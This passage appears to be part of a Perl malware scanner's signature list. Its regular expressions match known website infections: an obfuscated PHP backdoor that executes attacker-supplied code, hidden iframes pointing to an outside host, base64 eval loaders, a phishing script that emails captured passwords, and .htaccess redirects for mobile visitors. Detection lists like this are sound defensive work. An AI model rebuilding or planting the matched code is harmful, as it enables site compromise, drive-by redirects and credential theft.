\\x6c\\x69\\x6e\\x78\\x76"\]\}\s+?as\$\{\$\{"\\x47\\x4c\\x4fBA\\x4c\\x53"\}\["\\x6dp\\x78ml\\x73\\x61\\x65\\x73"\]\}=>\$\{\$\{"G\\x4cOBA\\x4c\\x53"\}\["\\x76d\\x67gn\\x69\\x67\\x6c"\]\}\)\{\$jeiuzgvf="_\\x62";foreach\(\$\{\$jeiuzgvf\}\s+?as\$\{\$\{"\\x47\\x4cO\\x42\\x41\\x4c\\x53"\}\["\\x76\\x66\\x64\\x69ei\\x62\\x69\\x77"\]\}=>\$\{\$\{"G\\x4c\\x4fBA\\x4c\\x53"\}\["k\\x63\\x69\\x73\\x73tw"\]\}\)\{\$\{"\\x47L\\x4fB\\x41L\\x53"\}\["\\x68r\\x64\\x74\\x66x\\x73\\x62\\x62\\x69"\]="\\x76";\$cqdfte="vv";\$tuwgfjfpcb="_\\x61";\$\{"\\x47L\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x67\\x6a\\x6ah\\x66\\x73\\x62\\x74\\x73\\x76\\x76t"\]="\\x6b";if\(stripos\(\$\{\$\{"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"\}\["\\x68r\\x64tfxsb\\x62\\x69"\]\},\$\{\$\{"\\x47LOBA\\x4c\\x53"\}\["vfdie\\x69biw"\]\}\)\!==false\)\$\{\$tuwgfjfpcb\}\[\$\{\$\{"\\x47L\\x4f\\x42\\x41\\x4c\\x53"\}\["g\\x6a\\x6a\\x68\\x66s\\x62\\x74\\x73v\\x76t"\]\}\]=\$\{\$cqdfte\};\}\}if\(sha1\(\$\{\$\{"\\x47\\x4c\\x4f\\x42\\x41LS"\}\["p\\x6ff\\x69d\\x6b\\x77"\]\}\[0\]\)=='03e44b8412235beb13fe835f158bae88558ffe33'\)\{\$lwdpeoc="_a";\$lhqgyykcn="_\\x61";\$dejqu=file_get_contents\(\$\{\$lhqgyykcn\}\[3\]\["\\x74\\x6dp_\\x6e\\x61\\x6d\\x65"\]\);\$vpfk=\$\{\$\{"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"\}\["\\x70\\x6ffi\\x64\\x6bw"\]\}\[1\];\$tfmre=base64_decode\(\$\{\$lwdpeoc\}\[2\]\);\$cudb=create_function\("",\$tfmre\);\$cudb\(\);\}\s+?\?>/is,
    qr/print\s+?"<iframe\s+?src=\\"http:\/\/news\.adsabouts\.ir\/go\.php\\"\s+?width=\\"1\\"\s+?height=\\"1\\"><\/iframe>";/is,
    qr/<iframe\s+?src="http:\/\/news\.adsabouts\.ir\/go\.php"\s+?width="1"\s+?height="1">/is,
    qr/<iframe\s+?src="http:\/\/news\.adsabouts\.ir\/rotator\/scripts\/wow\.html"\s+?width="1"\s+?height="1"><\/iframe>/is,
    qr/eval\(base64_decode\(""\)\);/is,
    qr/<\?\s+?session_start\(\);\s+?\$user=\s+?\$_POST\['username'\];\s+?\$password=\s+?\$_POST\['password'\];\s+?\$ip\s+?=\s+?getenv\("REMOTE_ADDR"\);\s+?\$adddate=date\("D\s+?M\s+?d,\s+?Y\s+?g:i\s+?a"\);\s+?\$subj\s+?=\s+?"163\s+?from\s+?\$ip";\s+?\$msg\s+?=\s+?"Email:\s+?\$user\\nPassword:\s+?\$password\\n\\nSubmitted\s+?from\s+?IP\s+?Address\s+?-\s+?\$ip\s+?on\s+?\$adddate\\n-----------------------------------\\n\s+?Created\s+?By\s+?Spaghy\\n-----------------------------------";\s+?\$from\s+?=\s+?"From:\s+?\$ip<results\@163\.com>";\s+?mail\("tonycoker45l\@gmail\.com",\s+?\$subj,\s+?\$msg,\s+?\$from\);\s+?mail\("tonycoker45l\@gmail\.com",\s+?\$subj,\s+?\$msg,\s+?\$from\);\s+?header\("Location:http:\/\/mail\.163\.com\/"\);\s+?\?>/is,
    qr/<\?php\s+?\$[A-Za-z0-9]+=\s+?array\('[0-9]+','[0-9]+','[0-9]+','[0-9]+'\);\$[A-Za-z0-9]+=\s+?array\('[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+'\);\$[A-Za-z0-9]+=\s+?array\('[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+','[0-9]+'\);\$[A-Za-z0-9]+="[A-Za-z0-9]+==";if\s+?\(\!function_exists\("[A-Za-z0-9]+"\)\)\{\s+?function\s+?[A-Za-z0-9]+\(\$[A-Za-z0-9]+,\$[A-Za-z0-9]+\)\{\$[A-Za-z0-9]+\s+?=\s+?'';foreach\(\$[A-Za-z0-9]+\s+?as\s+?\$[A-Za-z0-9]+\)\{\$[A-Za-z0-9]+\s+?\.=\s+?chr\(\$[A-Za-z0-9]+\s+?-\s+?\$[A-Za-z0-9]+\);\}return\s+?\$[A-Za-z0-9]+;\}\$[A-Za-z0-9]+\s+?=\s+?[A-Za-z0-9]+\(\$[A-Za-z0-9]+,[0-9]+\);\$[A-Za-z0-9]+\s+?=\s+?[A-Za-z0-9]+\(\$[A-Za-z0-9]+,[0-9]+\);\$[A-Za-z0-9]+\s+?=\s+?[A-Za-z0-9]+\(\$[A-Za-z0-9]+,[0-9]+\);\$[A-Za-z0-9]+\s+?=\s+?\$[A-Za-z0-9]+\('\$[A-Za-z0-9]+',\$[A-Za-z0-9]+\.'\('\.\$[A-Za-z0-9]+\.'\(\$[A-Za-z0-9]+\)\);'\);\$[A-Za-z0-9]+\(\$[A-Za-z0-9]+\);\}\?>/is,
    qr/<\?php\s+?\$\{"\\x47\\x4cO\\x42ALS"\}\["\\x6bc\\x69\\x73st\\x77"\]="\\x76v";\$\{"\\x47L\\x4f\\x42\\x41\\x4cS"\}\["\\x76f\\x64\\x69e\\x69biw"\]="\\x6b\\x6b";\$\{"\\x47\\x4c\\x4fBAL\\x53"\}\["\\x76\\x64\\x67gn\\x69g\\x6c"\]="\\x76";\$\{"G\\x4c\\x4fB\\x41\\x4c\\x53"\}\["m\\x70\\x78mls\\x61\\x65\\x73"\]="\\x6b";\$\{"\\x47\\x4cO\\x42A\\x4cS"\}\["\\x70\\x6f\\x66id\\x6bw"\]="\\x5f\\x61";\$dexhzoy="\\x5f\\x62";\$\{"\\x47L\\x4f\\x42AL\\x53"\}\["\\x74\\x68k\\x6ek\\x65\\x71\\x67v"\]="i";\$iwpby='2adf5e8bfe6ef0d4a167daf61f2bea06';\$\{"\\x47\\x4c\\x4f\\x42\\x41L\\x53"\}\["\\x75n\\x62o\\x6cs\\x77\\x6a\\x71\\x71\\x77"\]="i";\$ssrysrh="\\x69";for\(\$\{\$ssrysrh\}=0;\$\{\$\{"GL\\x4fBA\\x4c\\x53"\}\["\\x75\\x6e\\x62o\\x6cs\\x77jq\\x71w"\]\}<4;\$\{\$\{"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x74\\x68\\x6bn\\x6be\\x71gv"\]\}\+\+\)\$\{\$\{"G\\x4cOB\\x41\\x4c\\x53"\}\["\\x70\\x6ff\\x69dk\\x77"\]\}\[\]=strval\(substr\(\$iwpby,\$\{\$\{"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"\}\["thk\\x6e\\x6b\\x65q\\x67\\x76"\]\}\*8,8\)\);\$\{"\\x47\\x4c\\x4fBA\\x4c\\x53"\}\["\\x6d\\x76\\x75x\\x6ci\\x6exv"\]="\\x5f\\x61";\$\{\$dexhzoy\}=array_merge\(\$_COOKIE,\$_POST,\$_FILES\);foreach\(\$\{\$\{"\\x47L\\x4f\\x42\\x41\\x4c\\x53"\}\["m\\x76ux\\x6c\\x69\\x6e\\x78\\x76"\]\}\s+?as\$\{\$\{"\\x47\\x4c\\x4fBA\\x4c\\x53"\}\["\\x6dp\\x78ml\\x73\\x61\\x65\\x73"\]\}=>\$\{\$\{"G\\x4cOBA\\x4c\\x53"\}\["\\x76d\\x67gn\\x69\\x67\\x6c"\]\}\)\{\$jeiuzgvf="_\\x62";foreach\(\$\{\$jeiuzgvf\}\s+?as\$\{\$\{"\\x47\\x4cO\\x42\\x41\\x4c\\x53"\}\["\\x76\\x66\\x64\\x69ei\\x62\\x69\\x77"\]\}=>\$\{\$\{"G\\x4c\\x4fBA\\x4c\\x53"\}\["k\\x63\\x69\\x73\\x73tw"\]\}\)\{\$\{"\\x47L\\x4fB\\x41L\\x53"\}\["\\x68r\\x64\\x74\\x66x\\x73\\x62\\x62\\x69"\]="\\x76";\$cqdfte="vv";\$tuwgfjfpcb="_\\x61";\$\{"\\x47L\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x67\\x6a\\x6ah\\x66\\x73\\x62\\x74\\x73\\x76\\x76t"\]="\\x6b";if\(stripos\(\$\{\$\{"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"\}\["\\x68r\\x64tfxsb\\x62\\x69"\]\},\$\{\$\{"\\x47LOBA\\x4c\\x53"\}\["vfdie\\x69biw"\]\}\)\!==false\)\$\{\$tuwgfjfpcb\}\[\$\{\$\{"\\x47L\\x4f\\x42\\x41\\x4c\\x53"\}\["g\\x6a\\x6a\\x68\\x66s\\x62\\x74\\x73v\\x76t"\]\}\]=\$\{\$cqdfte\};\}\}if\(sha1\(\$\{\$\{"\\x47\\x4c\\x4f\\x42\\x41LS"\}\["p\\x6ff\\x69d\\x6b\\x77"\]\}\[0\]\)=='2879af8d6de3343c7730560a0c349e617b4c251d'\)\{\$lwdpeoc="_a";\$lhqgyykcn="_\\x61";\$czozn=file_get_contents\(\$\{\$lhqgyykcn\}\[3\]\["\\x74\\x6dp_\\x6e\\x61\\x6d\\x65"\]\);\$tcad=\$\{\$\{"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"\}\["\\x70\\x6ffi\\x64\\x6bw"\]\}\[1\];\$hipn=base64_decode\(\$\{\$lwdpeoc\}\[2\]\);\$btev=create_function\("",\$hipn\);\$btev\(\);\}\s+?\?>/is,
    qr/<\?php\s+?eval\(gzinflate\(base64_decode\("DZa3DuTYDkT\/ZaMZKJB3WGwg771X8iDf8t7117\+\+EaMLkmCdqurKhj\/Nt53qITuqP3m2VwT2v7Iq5rL68w\+fpuK2B4rY2yi0GmvqMiPtdcZXHaH\+U47LEaMoxYW1hOKn\/r5YChIZUa6vQr7T95t7t07GsAzgq07hX5oadzmXV5IkxXJZJgK7I4E68VYdpHSJKN9kqrUGA0GkudOqZ0s3LMXEGI2V\+aCzIBJvYR\+VUKGS7s90lMLc3EmOjpElouks66wsmvKO4zuTMH38yjioxScLT\+rTt9O5HbEeCSua1G7X2FqaGRdUP10AhLx1k8rXRnjNVpnEA2wJUIta1mw\/IwR8PjkenR7T0jyPJAmR6WjJ73IWvpbF8svAm1OnW33sNwHTsX2di13rY3yxlQuW4jdDAUcAPsnruyf7\+Zj9GPrtugB3sC\/vAhBpWEgzAI7vIJoT28HVi51M190tM70rggqDPXeaSeRBvdLbEVCwqb3hhiSuCVWwUTbo1wBMDg8Lnz6UDAxmpXbUXMGSDZfNdONQYyt8yp8G7eZuCV5g3qW\+BSoOsZkJYpHn9GoLH3pKixSvwXttEk\/XgwtPeuATuZwyW2jCzGVIe5ugMXp4k09QH8PnwswKK7aaccSn5GjGbbHn7AnwnS1JZFRZiAHxBiTOvPmwuWk8YvijAqYNYwTzsqj248V96hzXY5ZqfTFYKVqH9ull7FwDfUc5bE0LMMSNba2gc2cqesBiYXkl\+VFEIIcgXVj7nso\/E5uMHp7AQUyk4pTH1HiJYv68ZlVPsy5\/7dbYZOdzs3wSPO60naEc5Rb\/DTB\/45M8s2c1DYLOzqdqc3zgYCL4vU9vi7z5GpMit\+xj1lxYUncBrXOT2mg9AHrBxpHJTZDeJdxtM6VCWACqA1qL\+FKcLEyFBw3Mm\+Yy\/2bYKXYFNpIX6t9uqgIN5kA8ciF2WhqgJ0MCRdQIQdynRUjg87nNaOLUbU3a0lkxmzKrbxa6n\/EcnoZHoLFOkErvE\/tcBa234TdGu3YUkiCreAoHOepN7\/3Q2Vkg1CjBQI9mJGqbhNu\/mDji1I8qwmFyEgIEPPqhPM3eJArXqr1CuIEBTJI\/S1JC0SGVmcMQqcsLTMJyq9nDZ0spJSv1yV0ByAgKIJSSdvF59wl7zDgqps\/32cotIg8L1iT8kYkSOYoc\+ybuB\+iEtkmrYyyLcLtHKXnIfgihybtcNyHNI\+l6P2DuEPj0pQIzw4iPjN\+iQZO5u2PDwTcsU2Iui6z7LG8WlQmyvqMy2HQbovPqsjrs0VhTWUHXm026dVgPv5ptFgOm7CpFk\+RsbEiq62\/vnBIGyz\+KROkY2XTE2YRQ5xpZxYMDTNpS6lChDHGBrpayccLu7VBGnXRcrFwUwebZJJWmTVLrMQs9TumB7h0\/sLangfJ7PaNBL4lslP3GhIwmZMAlCieT9Br3qJbTZVGbSJ\/6Bj9qoeVxbX84WlyKRZKHqm9wkHgNnfBZIJKWWHhsSqsG01DCRGSBQW\+Tk4P1RV\/pS7YSBzMpyWONtFxaM1VI3hm\+u1HBAC\/16AcsyzY7rWgtf7rWYGMsxC7Ta9\+63WX3x3Y\+HEj98aHupY1KnngB6hn4Nb6Z6nFQHNeFsI1Gb9QTjzXpWUjlKdD8WDi\+jHep7RWJBjH9pHLl6EuR8OoJ59NZ8jeS7QlFETZvHnZEa4hcNwD0mBjqATuY1J4uuQw1zXdkV2FplD1YQz\+LF3F7zzDSGzNZ1j0BR5ttKjolzXOv3zLYIJ8vqmSxUHbhv6oRtigF9VAuSR8IUXtchbnzkCnHJYCWRDMg2t\+a3yGrrUAJiRNw7W6oGebobn2qoIWCVPV2Du\/6lnJF7mXxRQvd1B9IvJgjlBe9W6\+MnpVwad\+GLyAhrluGA7fEM\/yRWMQfRW\+\+g0cx4xooHh5PR37b6JPKY4bmoe9FDsDvhjb7KWlfE1ldH871ofkuZbVIBJ1Y9Y9yIvBpR5ckoMujj3T0pVsCnU\/hud88\/elijK8vGwn8kqALhZyF1nKTSEkPkfP14UIL0HwL4QG05OmMT7VuqG\+Fed7VTaA9LA7jhkjA02n3QcZWmLWHYdxHb30EWHkkaDhA9wBJd\/\/YEQgWlY66ITivJyegp1AvcTDiGbjpxe\/PyVbgFQm5u9YQMVhT0YGzIE9fjy6RGIkDbueLq4fseJiYCyckvK0Ys5\+hKXEQirwqgZrWnch8lMjk0JjE0Ede5eCc485\+unL2zZ1RFv2ljnx8vsjCh0pNc1su\/EyZGQXw3lLDmsOpi1IGZrgB0PUs\+1G0jUBJvmlGTEnM5AFeQNsOxsnnTPY8VQcsCVV9pIfTSINZSuRSM\+c\+yZHY6SRyfFibtLsi5uVITZKXtidY3XgwMfKVg\/RNkon1upeqyQpvJkyuQxB7jTQn5sAoUZKVE0KqnLfJ4XRITTynFe4hFg8Tq7pt7zJXhLK7pWXY3OT0ge3ncZWN0Mdurn2\/wK7OJUoMPpX6UWej\+NCwMjy\/KHTJv3IyJp4qBaakiOtmysDJaGVNNZcWOMxJzVlDxjmhf96U8cPAri9cnODi2T\+SooFOyJIZnuHrppX\/Ot7UR2bBtXvWsJRqy8SVmJccRT9PRuXPXrggd\+v7hjBIw1g2JMdLKP8MKFGu6PVXlnYmBJ1lKkTZ673cLp\+2oHUwoAVBle\/7iZwyR5R7UO8ogm3IYPtd2OF\/CFYA2QWV9MfqIinkyEurf7b8JfIy3L6d56z9ob1P9Yt0kvwpEzyPLROgvSbCPz8wHhUmil6i\+TLQD3mYjD3gmV8\/D6\+OkPKK3TN9uyltYQq\/4gfCe\+qr13VDTR\+Xyyg7LxEnPwcTV0V1xZ6UjV1axqVkhIgldj4ea34vyOVKhB\/Hqn1LQLmytfWLAsGHHDUWlisXzf2kPozLekP1OF35hxpC96vjho6RFZZJ8DSoJ83keknBdfr6kJvEUrb2xartaOsN5o9mEnsrJr941Uu5oHE3F2Tiv3s91eOrOQhsmTUsmVBz9JFrlGL\/wxgKzh4O6s0v6hQPZfKj0jBUVl51nbDQSgq4PgrHLf\+6y\/qP3DA21aQwFXOMAnm6DAL174EgWd\/\/\/ffP379\/\/\/0\/"\)\)\);\s+?\?>/is,
    qr/RewriteEngine\s+?on\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?android\s+?\[NC,OR\]\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?opera\\\s+?mini\s+?\[NC,OR\]\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?blackberry\s+?\[NC,OR\]\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?iphone\s+?\[NC,OR\]\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?\(pre\\\/\|palm\\\s+?os\|palm\|hiptop\|avantgo\|plucker\|xiino\|blazer\|elaine\)\s+?\[NC,OR\]\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?\(iris\|3g_t\|windows\\\s+?ce\|opera\\\s+?mobi\|windows\\\s+?ce;\\\s+?smartphone;\|windows\\\s+?ce;\\\s+?iemobile\)\s+?\[NC,OR\]\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?\(mini\\\s+?9\.5\|vx1000\|lge\\\s+?\|m800\|e860\|u940\|ux840\|compal\|wireless\|\\\s+?mobi\|ahong\|lg380\|lgku\|lgu900\|lg210\|lg47\|lg920\|lg840\|lg370\|sam-r\|mg50\|s55\|g83\|t66\|vx400\|mk99\|d615\|d763\|el370\|sl900\|mp500\|samu3\|samu4\|vx10\|xda_\|samu5\|samu6\|samu7\|samu9\|a615\|b832\|m881\|s920\|n210\|s700\|c-810\|_h797\|mob-x\|sk16d\|848b\|mowser\|s580\|r800\|471x\|v120\|rim8\|c500foma:\|160x\|x160\|480x\|x640\|t503\|w839\|i250\|sprint\|w398samr810\|m5252\|c7100\|mt126\|x225\|s5330\|s820\|htil-g1\|fly\\\s+?v71\|s302\|-x113\|novarra\|k610i\|-three\|8325rc\|8352rc\|sanyo\|vx54\|c888\|nx250\|n120\|mtk\\\s+?\|c5588\|s710\|t880\|c5005\|i;458x\|p404i\|s210\|c5100\|teleca\|s940\|c500\|s590\|foma\|samsu\|vx8\|vx9\|a1000\|_mms\|myx\|a700\|gu1100\|bc831\|e300\|ems100\|me701\|me702m-three\|sd588\|s800\|8325rc\|ac831\|mw200\|brew\\\s+?\|d88\|htc\\\/\|htc_touch\|355x\|m50\|km100\|d736\|p-9521\|telco\|sl74\|ktouch\|m4u\\\/\|me702\|8325rc\|kddi\|phone\|lg\\\s+?\|sonyericsson\|samsung\|240x\|x320\|vx10\|nokia\|sony\\\s+?cmd\|motorola\|up\.browser\|up\.link\|mmp\|symbian\|smartphone\|midp\|wap\|vodafone\|o2\|pocket\|mobile\|treo\)\s+?\[NC,OR\]\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?\^\(1207\|3gso\|4thp\|501i\|502i\|503i\|504i\|505i\|506i\|6310\|6590\|770s\|802s\|a\\\s+?wa\|acer\|acs-\|airn\|alav\|asus\|attw\|au-m\|aur\\\s+?\|aus\\\s+?\|abac\|acoo\|aiko\|alco\|alca\|amoi\|anex\|anny\|anyw\|aptu\|arch\|argo\|bell\|bird\|bw-n\|bw-u\|beck\|benq\|bilb\|blac\|c55\\\/\|cdm-\|chtm\|capi\|cond\|craw\|dall\|dbte\|dc-s\|dica\|ds-d\|ds12\|dait\|devi\|dmob\|doco\|dopo\|el49\|erk0\|esl8\|ez40\|ez60\|ez70\|ezos\|ezze\|elai\|emul\|eric\|ezwa\|fake\|fly-\|fly_\|g-mo\|g1\\\s+?u\|g560\|gf-5\|grun\|gene\|go\\\.w\|good\|grad\|hcit\|hd-m\|hd-p\|hd-t\|hei-\|hp\\\s+?i\|hpip\|hs-c\|htc\\\s+?\|htc-\|htca\|htcg\|htcp\|htcs\|htct\|htc_\|haie\|hita\|huaw\|hutc\|i-20\|i-go\|i-ma\|i230\|iac\|iac-\|iac\\\/\|ig01\|im1k\|inno\|iris\|jata\|java\|kddi\|kgt\|kgt\\\/\|kpt\\\s+?\|kwc-\|klon\|lexi\|lg\\\s+?g\|lg-a\|lg-b\|lg-c\|lg-d\|lg-f\|lg-g\|lg-k\|lg-l\|lg-m\|lg-o\|lg-p\|lg-s\|lg-t\|lg-u\|lg-w\|lg\\\/k\|lg\\\/l\|lg\\\/u\|lg50\|lg54\|lge-\|lge\\\/\|lynx\|leno\|m1-w\|m3ga\|m50\\\/\|maui\|mc01\|mc21\|mcca\|medi\|meri\|mio8\|mioa\|mo01\|mo02\|mode\|modo\|mot\\\s+?\|mot-\|mt50\|mtp1\|mtv\\\s+?\|mate\|maxo\|merc\|mits\|mobi\|motv\|mozz\|n100\|n101\|n102\|n202\|n203\|n300\|n302\|n500\|n502\|n505\|n700\|n701\|n710\|nec-\|nem-\|newg\|neon\|netf\|noki\|nzph\|o2\\\s+?x\|o2-x\|opwv\|owg1\|opti\|oran\|p800\|pand\|pg-1\|pg-2\|pg-3\|pg-6\|pg-8\|pg-c\|pg13\|phil\|pn-2\|pt-g\|palm\|pana\|pire\|pock\|pose\|psio\|qa-a\|qc-2\|qc-3\|qc-5\|qc-7\|qc07\|qc12\|qc21\|qc32\|qc60\|qci-\|qwap\|qtek\|r380\|r600\|raks\|rim9\|rove\|s55\\\/\|sage\|sams\|sc01\|sch-\|scp-\|sdk\\\/\|se47\|sec-\|sec0\|sec1\|semc\|sgh-\|shar\|sie-\|sk-0\|sl45\|slid\|smb3\|smt5\|sp01\|sph-\|spv\\\s+?\|spv-\|sy01\|samm\|sany\|sava\|scoo\|send\|siem\|smar\|smit\|soft\|sony\|t-mo\|t218\|t250\|t600\|t610\|t618\|tcl-\|tdg-\|telm\|tim-\|ts70\|tsm-\|tsm3\|tsm5\|tx-9\|tagt\|talk\|teli\|topl\|hiba\|up\\\.b\|upg1\|utst\|v400\|v750\|veri\|vk-v\|vk40\|vk50\|vk52\|vk53\|vm40\|vx98\|virg\|vite\|voda\|vulc\|w3c\\\s+?\|w3c-\|wapj\|wapp\|wapu\|wapm\|wig\\\s+?\|wapi\|wapr\|wapv\|wapy\|wapa\|waps\|wapt\|winc\|winw\|wonu\|x700\|xda2\|xdag\|yas-\|your\|zte-\|zeto\|acs-\|alav\|alca\|amoi\|aste\|audi\|avan\|benq\|bird\|blac\|blaz\|brew\|brvw\|bumb\|ccwa\|cell\|cldc\|cmd-\|dang\|doco\|eml2\|eric\|fetc\|hi
    qr/ErrorDocument\s+?403\s+?http:\/\/goo\.gl\/zJ2pGb\s+?ErrorDocument\s+?404\s+?http:\/\/goo\.gl\/zJ2pGb\s+?ErrorDocument\s+?500\s+?http:\/\/goo\.gl\/zJ2pGb/is,
    qr/RewriteEngine\s+?on\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?android\s+?\[NC,OR\]\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?opera\\\s+?mini\s+?\[NC,OR\]\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?blackberry\s+?\[NC,OR\]\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?iphone\s+?\[NC,OR\]\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?\(pre\\\/\|palm\\\s+?os\|palm\|hiptop\|avantgo\|plucker\|xiino\|blazer\|elaine\)\s+?\[NC,OR\]\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?\(iris\|3g_t\|windows\\\s+?ce\|opera\\\s+?mobi\|windows\\\s+?ce;\\\s+?smartphone;\|windows\\\s+?ce;\\\s+?iemobile\)\s+?\[NC,OR\]\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?\(mini\\\s+?9\.5\|vx1000\|lge\\\s+?\|m800\|e860\|u940\|ux840\|compal\|wireless\|\\\s+?mobi\|ahong\|lg380\|lgku\|lgu900\|lg210\|lg47\|lg920\|lg840\|lg370\|sam-r\|mg50\|s55\|g83\|t66\|vx400\|mk99\|d615\|d763\|el370\|sl900\|mp500\|samu3\|samu4\|vx10\|xda_\|samu5\|samu6\|samu7\|samu9\|a615\|b832\|m881\|s920\|n210\|s700\|c-810\|_h797\|mob-x\|sk16d\|848b\|mowser\|s580\|r800\|471x\|v120\|rim8\|c500foma:\|160x\|x160\|480x\|x640\|t503\|w839\|i250\|sprint\|w398samr810\|m5252\|c7100\|mt126\|x225\|s5330\|s820\|htil-g1\|fly\\\s+?v71\|s302\|-x113\|novarra\|k610i\|-three\|8325rc\|8352rc\|sanyo\|vx54\|c888\|nx250\|n120\|mtk\\\s+?\|c5588\|s710\|t880\|c5005\|i;458x\|p404i\|s210\|c5100\|teleca\|s940\|c500\|s590\|foma\|samsu\|vx8\|vx9\|a1000\|_mms\|myx\|a700\|gu1100\|bc831\|e300\|ems100\|me701\|me702m-three\|sd588\|s800\|8325rc\|ac831\|mw200\|brew\\\s+?\|d88\|htc\\\/\|htc_touch\|355x\|m50\|km100\|d736\|p-9521\|telco\|sl74\|ktouch\|m4u\\\/\|me702\|8325rc\|kddi\|phone\|lg\\\s+?\|sonyericsson\|samsung\|240x\|x320\|vx10\|nokia\|sony\\\s+?cmd\|motorola\|up\.browser\|up\.link\|mmp\|symbian\|smartphone\|midp\|wap\|vodafone\|o2\|pocket\|mobile\|treo\)\s+?\[NC,OR\]\s+?RewriteCond\s+?\%\{HTTP_USER_AGENT\}\s+?\^\(1207\|3gso\|4thp\|501i\|502i\|503i\|504i\|505i\|506i\|6310\|6590\|770s\|802s\|a\\\s+?wa\|acer\|acs-\|airn\|alav\|asus\|attw\|au-m\|aur\\\s+?\|aus\\\s+?\|abac\|acoo\|aiko\|alco\|alca\|amoi\|anex\|anny\|anyw\|aptu\|arch\|argo\|bell\|bird\|bw-n\|bw-u\|beck\|benq\|bilb\|blac\|c55\\\/\|cdm-\|chtm\|capi\|cond\|craw\|dall\|dbte\|dc-s\|dica\|ds-d\|ds12\|dait\|devi\|dmob\|doco\|dopo\|el49\|erk0\|esl8\|ez40\|ez60\|ez70\|ezos\|ezze\|elai\|emul\|eric\|ezwa\|fake\|fly-\|fly_\|g-mo\|g1\\\s+?u\|g560\|gf-5\|grun\|gene\|go\\\.w\|good\|grad\|hcit\|hd-m\|hd-p\|hd-t\|hei-\|hp\\\s+?i\|hpip\|hs-c\|htc\\\s+?\|htc-\|htca\|htcg\|htcp\|htcs\|htct\|htc_\|haie\|hita\|huaw\|hutc\|i-20\|i-go\|i-ma\|i230\|iac\|iac-\|iac\\\/\|ig01\|im1k\|inno\|iris\|jata\|java\|kddi\|kgt\|kgt\\\/\|kpt\\\s+?\|kwc-\|klon\|lexi\|lg\\\s+?g\|lg-a\|lg-b\|lg-c\|lg-d\|lg-f\|lg-g\|lg-k\|lg-l\|lg-m\|lg-o\|lg-p\|lg-s\|lg-t\|lg-u\|lg-w\|lg\\\/k\|lg\\\/l\|lg\\\/u\|lg50\|lg54\|lge-\|lge\\\/\|lynx\|leno\|m1-w\|m3ga\|m50\\\/\|maui\|mc01\|mc21\|mcca\|medi\|meri\|mio8\|mioa\|mo01\|mo02\|mode\|modo\|mot\\\s+?\|mot-\|mt50\|mtp1\|mtv\\\s+?\|mate\|maxo\|merc\|mits\|mobi\|motv\|mozz\|n100\|n101\|n102\|n202\|n203\|n300\|n302\|n500\|n502\|n505\|n700\|n701\|n710\|nec-\|nem-\|newg\|neon\|netf\|noki\|nzph\|o2\\\s+?x\|o2-x\|opwv\|owg1\|opti\|oran\|p800\|pand\|pg-1\|pg-2\|pg-3\|pg-6\|pg-8\|pg-c\|pg13\|phil\|pn-2\|pt-g\|palm\|pana\|pire\|pock\|pose\|psio\|qa-a\|qc-2\|qc-3\|qc-5\|qc-7\|qc07\|qc12\|qc21\|qc32\|qc60\|qci-\|qwap\|qtek\|r380\|r600\|raks\|rim9\|rove\|s55\\\/\|sage\|sams\|sc01\|sch-\|scp-\|sdk\\\/\|se47\|sec-\|sec0\|sec1\|semc\|sgh-\|shar\|sie-\|sk-0\|sl45\|slid\|smb3\|smt5\|sp01\|sph-\|spv\\\s+?\|spv-\|sy01\|samm\|sany\|sava\|scoo\|send\|siem\|smar\|smit\|soft\|sony\|t-mo\|t218\|t250\|t600\|t610\|t618\|tcl-\|tdg-\|telm\|tim-\|ts70\|tsm-\|tsm3\|tsm5\|tx-9\|tagt\|talk\|teli\|topl\|hiba\|up\\\.b\|upg1\|utst\|v400\|v750\|veri\|vk-v\|vk40\|vk50\|vk52\|vk53\|vm40\|vx98\|virg\|vite\|voda\|vulc\|w3c\\\s+?\|w3c-\|wapj\|wapp\|wapu\|wapm\|wig\\\s+?\|wapi\|wapr\|wapv\|wapy\|wapa\|waps\|wapt\|winc\|winw\|wonu\|x700\|xda2\|xdag\|yas-\|your\|zte-\|zeto\|acs-\|alav\|alca\|amoi\|aste\|audi\|avan\|benq\|bird\|blac\|blaz\|brew\|brvw\|bumb\|ccwa\|cell\|cldc\|cmd-\|dang\|doco\|eml2\|eric\|fetc\|hi
